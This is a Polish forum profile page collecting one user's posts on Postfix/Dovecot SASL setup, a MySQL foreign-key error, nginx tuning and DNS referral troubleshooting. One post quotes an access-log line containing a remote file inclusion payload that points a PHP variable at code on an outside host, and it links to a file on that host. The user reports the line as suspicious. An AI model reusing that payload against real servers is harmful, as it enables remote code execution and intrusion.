rack
-
Zawartość
19 -
Rejestracja
-
Ostatnio
Posty napisane przez rack
-
-
Póki co skłaniam się do zostawienia tego boxa bez wheela i z uprawnieniami 750 postfix:root dla /var/spool/postfix/private/, chyba, że istnieją jakieś przesłanki ku temu aby jednak odebrać całkowicie uprawnienia grupie.
Dzięki za pomoc
pozdrawiam
-
hi hi , pewnie że ma ... W dovecocie uprawnienia są ustawione na postfixa, w /var/spool/ postifix właścicielem katalogów, w tym równiez "private" jest także postfix ... Zmieniłem uprawnienia private/ na 777 na potrzeby testów i zaczęło działać, gniazdo pojawiło się tam gdzie powinno ... W pierwotnej konfiguracji było to 700 postfix:root i jak wyżej napisałem, nie działało.
Zmieniłem uprawnieni private/ na 755 postfix:root i jest ok, podobnie jak z 750 postfix:root. Pytanie więc jest jakie powinny być optymalne uprawnienia dla katalogu private/ ?
Dzięki za info
pozdrawiam
-
Jak nadmieniłem w temacie, mam pewien problem z kofiguracją sasla przez dovecota dla postfixa na Ubuntu 8.10.
Dałem sobie na chwilę spokój z saslem cyrusa bo postfix 2.5+ z repo ubuntu wspiera autoryzacje przez sasl dovecota.
postconf -a rzeczywiście to potwierdza.
Postfix bez autoryzacji działa poprawnie, gdy jednak dołączę poniższe linijki do main.cf:
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, reject_unauth_destination
do /var/log/mail.log dopisywanie jest coś takiego podczas próby połączenia z postfixem przez telnet
Jun 1 23:31:17 udev1 postfix/smtpd[2380]: warning: SASL: Connect to private/auth failed: No such file or directory
Jun 1 23:31:17 udev1 postfix/smtpd[2380]: fatal: no SASL authentication mechanisms
Jun 1 23:31:18 udev1 postfix/master[5062]: warning: process /usr/lib/postfix/smtpd pid 2380 exit status 1
Jun 1 23:31:18 udev1 postfix/master[5062]: warning: /usr/lib/postfix/smtpd: bad command startup -- throttling
Fragment dovecot.conf dotyczący autoryzacji:
auth default {
mechanisms = plain login
client {
path = /var/spool/postfix/private/auth
mode = 0660
user = postfix
group = postfix
}
}
Protookoły są ustawione na: = imap imaps pop3 pop3s
Dovecot testowany niezależnie od postfixa działa bez zarzutu.
Postfix na ubuntu, tak jak na debianie jest jailed w /var/spool/postfix, posiada katalog private, a dovecot wg tego co w konfigu powyżej powinien mieć wystarczające uprawnienia do utworzenia gniazda w /var/spool/postfix/prvate/.
Jeżeli ktoś ma jakiś pomysł jak skonfigurować sasl w tym przypadku, prosiłbym o podpowiedź.
Z góry dziękuję
pozdrawiam
-
Adrian, dzięki za odpowiedź.
Sprawdziłem to sobie na posgresie od początku do końca i okazało się, że w jednej z tabel zamiast podkreślnika wstawiłem spację. Po ponownym stworzeniu tabel wszystko działa jak załołyłem.
pozdrawiam
-
Kod wygląda tak:
CREATE TABLE `virtual_aliases` ( id int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, domain_id INT(11) NOT NULL, source VARCHAR(40) NOT NULL, destination VARCHAR(80) NOT NULL, FOREIGN KEY (domain_id) REFERENCES virtual_domains(id) ON DELETE CASCADE ) ENGINE = InnoDB;
Error natomiast tak:
ERROR 1005 (HY000): Can't create table './test_pxconfig/virtual_aliases.frm' (errno: 150)
Mysql 5.1 odpalony na ubuntu jaunty prosto z repo( w 5.0 błąd jest identyczny). Tabelę tego typu da radę stworzyć ale bez wpisu dla obcego klucza, co w sumie nic mi nie daje ...
Ma ktoś może jakiś pomysł co zrobić aby uniknąć wyżej nadminionego błędu...
Dzięki z góry
-
Możesz nieco rozwinąć Twoją wypowiedź? O jakie przypadki konkretnie tu chodzi. Właśnie włączyłem to do mojego konfiga dla fcgi z php-mfp na nginxie z acp i passengerem pod app w merbie. W najbliższych dniach mam to zamiar spróbować przetestować i zobaczyć jak będzie działać w kontekście passengera i następnie mongreli z i bez symboli ... pewnie nie znajdę żadnej róznicy, ale ... hi hi ))
-
wydaje mi się ze taka rzecz pownna mieć swoją tabelę w bazie danych, SMF ma około 40 tabel więc jedna w tą czy tamtą nie zrobi różnicy . Całe szukanie powinno odbyć się w zanim cokolwiek wstawisz w html. Dzięki temu unikniesz mieszania warstwy prezentacji z logiką aplikacji. Nie wiem czy warto angażować w to regexp, skoro można to odfiltrować na poziomie bazy danych lub w najgorszym wypadku z pomoca jednej czy dwóch metod w php.
pozdrawiam
-
Pytanie dotyczy poniższej linijki, a pytanie brzmi: Jaki jest cel uzycia komendy strip w tym wypadku?
strip /usr/local/bin/php-cgi
pozdrawiam
-
http://interfacelab.com/nginx-php-fpm-apc-awesome/
popatrz na to i sam zdecyduj
]http://interfacelab.com/nginx-php-fpm-apc-awesome/
popatrz na to i sam zdecyduj
-
Może spróbuj z nginxem ... jego procesy są mniejsze od tych apache'a. Jeżeli nie chcesz zmieniać apache na coś lepszego to po prostu skompiluj go sobie od zera ... konfigurując go tylko z tymi modułami, których użycie 10 x przemyślałeś ... Na jakim serwerze uruchamiasz aplikacje, może zamiast mpm prefork lepszy będzie worer ... apache może mieć tak małe procesy jak nginx ale do tego konieczna jest wywalenie niektórych modułów (zależy od potrzeb oczywiście). Ja generalnie jestem wielkim fanem nginxa i z czystym sercem własnie serwer mogę polecić ... Jest wiele porównać ...
popatrz na przykład na to ... Nginx nadaje się lepiej na słabsze maszyny, z mniejszą ilością ramu ... stąd taka jego popularność w konteksicie Ror czy merba
-
Jak w temacie ...
80.93.62.114 - - [10/May/2009:05:59:44 +0200] "GET ///?_SERVER[DOCUMENT_ROOT]=http://www.ionthenet.co.kr/note_log/ec.txt? HTTP/1.1" 200 17547 "-" "libwww-perl/5.805"
Jak widać request zrobiony z pomocą libwww -- co jak wiadomo często nic dobrego ze sobą nie niesie ... Mam póki co tylko jeden taki wpis w logach, mimo to skłaniam się do tego aby nie czekać na więcej ...
Przejrzałem sobie pare plików na serwerze tego gościa i znalazłem między innymi coś takiego ))
http://www.ionthenet.co.kr/note_log/apache.php
Pozdrawiam
-
Po pierwsze, nie licz na kogokolwiek oprócz siebie ... Po drugie nie wyobrażam sobie tworzenia czegokolwiek bez systemu kontroli wersji dla strony i systemu ciągłej integracji, w tych czasach to podstawa. Po trzecie nic nie jest wieczne, to że serwis działa nie znaczy, że tak będzie zawsze ... jak masz okazję wykonać backup bazy danych to zrób to !!! Nie czekaj aż coś się spier .... bo to, że tak się stanie jest niemal tak pewne jak śmierć i podatki ... Po czwarte, zautomatyzuj backupy ... jeżeli tego nie robisz to pretensje możesz mieć tylko i wyłącznie do siebie ...Od firmy dostajesz konto ... to nie jest kołyska, nikt cię za rękę trzymał nie będzie ...
i wreszcie po piąte ...to co nas nie zabije to nas wzmocni ... a jeżeli nie wzmocni to na pewno czegoś nauczy ))
pozdrawiam
-
Dzięki za info.Unixstorm już znam, jest ok. Resztę obejrzę opcji sprawdzę w najbliższych dniach.
pozdrawiam
-
Witam,
Poszukuję konta www z dostępem do ssh w cenie 100 - 150 zł / rok u sprawdzonego usługodawcy. Pozostałe parametry nie są aż tak istotne na tym etapie.
Co jesteście w stanie polecić?
-
Rozumiem, dzięki za info.
pozdrawiam
-
Problemem są błędne wpisy w serwerach nazw obsługujących hierarchię .org.Jak długo może trwać update danych na tych serwerach? Czy serwery w tej hierarchii nadużywają cachę w większym stopniu niz inne? Wydaje mi się, że nie miałem dotychczas podobnych problemów z domenami com i pl.
-
Hmm... Z tego co się orientuję sam w dnsach i tego co dostałem od admina z unixstorm, ustwienia dns są w porządku.
Jednakże za każdym razem gdy sprawdzam całą ścieżkę do domeny w ostatnim jej etapie dostaję coś takiego:
Referral ns1.unixstorm.org
Asking ns1.unixstorm.org (89.149.199.238) for rubyhelp.org (type A)
Error: ns1.unixstorm.org (89.149.199.238): Resolve for rubyhelp.org. (A) failed: query timed out
Referral ns2.unixstorm.org
Asking ns2.unixstorm.org (89.149.251.86) for rubyhelp.org (type A)
Error: ns2.unixstorm.org (89.149.251.86): Resolve for rubyhelp.org. (A) failed: query timed out
---------------------------------- podsumowanie przekierowań całości zapytan o domenę wygląda tak:
Referral A0.ORG.AFILIAS-NST.INFO
Asking A0.ORG.AFILIAS-NST.INFO (199.19.56.1) for rubyhelp.org (type A) [see above for results]
Referral A2.ORG.AFILIAS-NST.INFO
Asking A2.ORG.AFILIAS-NST.INFO (199.249.112.1) for rubyhelp.org (type A) [see above for results]
Referral B0.ORG.AFILIAS-NST.org
Asking B0.ORG.AFILIAS-NST.org (199.19.54.1) for rubyhelp.org (type A) [see above for results]
Referral B2.ORG.AFILIAS-NST.org
Asking B2.ORG.AFILIAS-NST.org (199.249.120.1) for rubyhelp.org (type A) [see above for results]
Referral C0.ORG.AFILIAS-NST.INFO
Asking C0.ORG.AFILIAS-NST.INFO (199.19.53.1) for rubyhelp.org (type A) [see above for results]
Referral D0.ORG.AFILIAS-NST.org
Asking D0.ORG.AFILIAS-NST.org (199.19.57.1) for rubyhelp.org (type A) [see above for results]
Response is:
50.0% 89.149.199.238 (ns1.unixstorm.org) with query timed out
50.0% 89.149.251.86 (ns2.unixstorm.org) with query timed out
Wszystkie dnsy aż po unixstorm.org działają jak należy, tzn, jest zero strat co chodzi o zapytania
Ostateczny rezultat jest taki:
Results
50.0% of queries will end in failure at 89.149.199.238 (ns1.unixstorm.org) - query timed out
50.0% of queries will end in failure at 89.149.251.86 (ns2.unixstorm.org) - query timed out
Wydruk z diga wygląda tak:
; <<>> DiG 9.4.2-P2 <<>> rubyhelp.org
;; global options: printcmd
;; connection timed out; no servers could be reached
Wydruk z diga z opcją trace działa lepiej ale wciąż są błędy:
; <<>> DiG 9.4.2-P2 <<>> +trace rubyhelp.org
;; global options: printcmd
. 30779 IN NS C.ROOT-SERVERS.NET.
. 30779 IN NS D.ROOT-SERVERS.NET.
. 30779 IN NS E.ROOT-SERVERS.NET.
. 30779 IN NS F.ROOT-SERVERS.NET.
. 30779 IN NS G.ROOT-SERVERS.NET.
. 30779 IN NS H.ROOT-SERVERS.NET.
. 30779 IN NS I.ROOT-SERVERS.NET.
. 30779 IN NS J.ROOT-SERVERS.NET.
. 30779 IN NS K.ROOT-SERVERS.NET.
. 30779 IN NS L.ROOT-SERVERS.NET.
. 30779 IN NS M.ROOT-SERVERS.NET.
. 30779 IN NS A.ROOT-SERVERS.NET.
. 30779 IN NS B.ROOT-SERVERS.NET.
;; Received 500 bytes from 213.199.225.10#53(213.199.225.10) in 7 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; Received 76 bytes from 128.8.10.90#53(D.ROOT-SERVERS.NET) in 5 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 92 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 92 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 7 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 7 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 9 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 8 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 5 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 6 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 7 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 8 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 10 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 6 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 4 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 8 ms
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 77.79.241.202#53(ns1.unixstorm.org) in 5 ms
rubyhelp.org. 86384 IN NS ns1.unixstorm.org.
rubyhelp.org. 86384 IN NS ns2.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
;; Received 108 bytes from 78.159.102.130#53(ns2.unixstorm.org) in 14 ms
rubyhelp.org. 86383 IN NS ns2.unixstorm.org.
rubyhelp.org. 86383 IN NS ns1.unixstorm.org.
;; BAD (HORIZONTAL) REFERRAL
dig: too many lookups
-----------------------
A najlepsze jest to, że moją stronę mogę sobie obejrzeć tylko po tym jak uruchomię dig +trace rubyhelp.org wcześniej.
Wie ktoś jaka może być przyczyna wystąpienie błędu : ;; BAD (HORIZONTAL) REFERRAL ????
Pozdrawiam
-
Problem jednak nie rozwiązany ... działało przez chwilę ... potem znów padło
-
Witam,
Mam pewien problem z moja domeną i poprawnym podpięciem dnsów ...
Nazwa domeny: rubyhelp.org
DNSy
NS1: ns1.unixstorm.org
NS1 IP: 77.79.241.202
NS2: ns2.unixstorm.org
NS2 IP: 78.159.102.130
Wpisy dla A w panelu DirectAdmin:
rubyhelp.org. A 77.79.241.202
wpisy w panelu rejestranta domen:
1. rubyhelp.org ns1.unixstorm.org
ns2.unixstorm.org
Rezultat sprawdzenia DNSów na Squish.net:
Results
4.3% of queries will end in failure at 199.19.56.1 (A0.ORG.AFILIAS-NST.INFO) - nameserver loop detected
2.9% of queries will end in failure at 199.249.112.1 (A2.ORG.AFILIAS-NST.INFO) - nameserver loop detected
50.9% of queries will end in failure at 89.149.199.238 (ns1.unixstorm.org) - nameserver loop detected
41.9% of queries will end in failure at 89.149.251.86 (ns2.unixstorm.org) - nameserver loop detected
Dane z whois : http://whois.domaintools.com/rubyhelp.org
-------
Domena została zarejestrowana tydzień temu, wciąż jednakże nie mam dostępu przez nią do mojej strony z poziomu przeglądarki.
Za wszelkie uwagię z góry dziękuję
pozdrawiam
-----------------------
Update:
Problem rozwiązany.
-
Witam,
Mam pytanie, jak temat wskazuje, dotyczące statusu domeny ADDPERIOD. Jest to globalna domena org, moje pytanie dotyczy tego czy taki status, z tego co mi wiadomo utrzymywany przez 5 dni(???) ma jakiś wpływ na użyteczność takiej domeny? Kiedy ów domena będzię w pełni funkcjonalna?
Dziękuję za odpowiedź i pozdrawiam
rack
strona dla wypożyczalni
w Prośby
Napisano · Raportuj odpowiedź
Ta strona to sa moze 2 - 3 tabele w bazie danych. Ja bym sobie raczej nie zawracał głowy wordpresem. Najprostsze co przychodzi mi do głowy w tej chwili to CodeIgniter. Popatrz sobie na to. Ma dobrą dokumentację i jest robiony dla osób ktore są początkujące w tym biznesie.
Pozdrawiam
S.Wojnowski